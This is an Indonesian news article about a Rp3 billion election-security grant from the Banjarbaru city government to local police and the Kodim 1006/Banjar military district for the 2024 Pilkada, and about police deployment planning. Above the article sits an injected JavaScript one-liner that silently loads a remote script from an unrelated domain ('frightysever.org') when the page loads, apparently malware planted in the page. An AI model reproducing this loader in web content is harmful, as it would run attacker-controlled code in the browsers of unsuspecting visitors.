(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bakesbangpol Banjarbaru Serahkan Dana Hibah Pengamanan Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru menempatkan dana hibah daerah senilai Rp3 miliar untuk pengamanan pelaksanaan Pilkada Serentak 2024 di Ibu Kota Provinsi Kalimantan Selatan (Kalsel).

Kepala Badan Kesatuan Bangsa dan Politik (Kesbangpol) Banjarbaru, Rizana Mirza mengatakan, dana hibah itu telah disalurkan melalui NPHD (Naskah Perjanjian Hibah Daerah) langsung kepada Kepolisian Resor (Polres) Banjarbaru dan Kodim 1006/Banjar.

“Dana sebesar Rp 3 miliar itu dibagi untuk pengamanan oleh Polres dan Kodim untuk Pilkada 2024 sudah kita salurkan,” ujar Rizana Mirza.
Untuk Kepolisian Reskor Kota Banjarbaru diberikan senilai Rp2.185.740.000 . Sedangkan Kodim 1006/Banjar menerima dana hibah senilai Rp815.922.000.

“Kodim statusnya BKO (bawah kendali operasi), untuk pengamanan bergabung polisi dan TNI,” jelas dia.
Selain itu, Pemko Banjarbaru juga menyerahkan hibah tahap 2 kepada KPU dan Bawaslu Kota Banjarbaru untuk mendukung kelancaran penyelenggaraan Pilkada 2024.

“Untuk KPU dan Bawaslu sebagai penyelenggara kita sudah salurkan dua tahap untuk dana tahun 2023-2024,” tuntasnya.

Kabag Ops Polres Banjarbaru, Kompol Indra Agung Perdana Putra. Foto : wanda

Terpisah, Kabag Ops Polres Banjarbaru, Kompol Indra Agung Perdana Putra mengatakan, pelaksanaan tahapan pengamanan Pilkada nanti disesuaikan dengan penggunaan dana hibah tersebut.

Selain mengamankan 5 kecamatan di Banjarbaru, dia menjelaskan bahwa Polres Banjarbaru juga turut mengamankan dua kecamatan di Kabupaten Banjar yang masuk wilayah hukum Polres Banjarbaru.

“Nanti semuanya sudah masuk Pagu anggaran untuk persiapan Pilkada, baik pra, saat, maupun setelahnya,” kata Kabag Ops Polres Banjarbaru.

Untuk persiapan personel pihak Polres Banjarbaru masih menunggu informasi dari KPU Banjarbaru terkait jumlah Tempat Pemungutan Suara (TPS) yang akan berdiri.

“Jika TPS sudah, barulah disusun potensi kerawanan dan kita turunkan personel yang cocok mengampu di daerah pengamanan tersebut,” jelas dia.

Teknis pengamanan pun katanya akan berbeda dibanding Pipres dan Pileg lalu, sebab TPS diprediksi akan lebih sedikit.

“Namun daftar pemilih tetap (DPT) dalam satu TPS diprediksi akan naik, itu salah satu kerawanan karena intensitas dari kuantitas jumlah pemilih karena naik dengan karakternya,” sebutnya.

Dengan prediksi jumlah TPS itu, kepolisian akan membagi personel lebih banyak untuk mempertebal pengamanan di masing-masing TPS. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie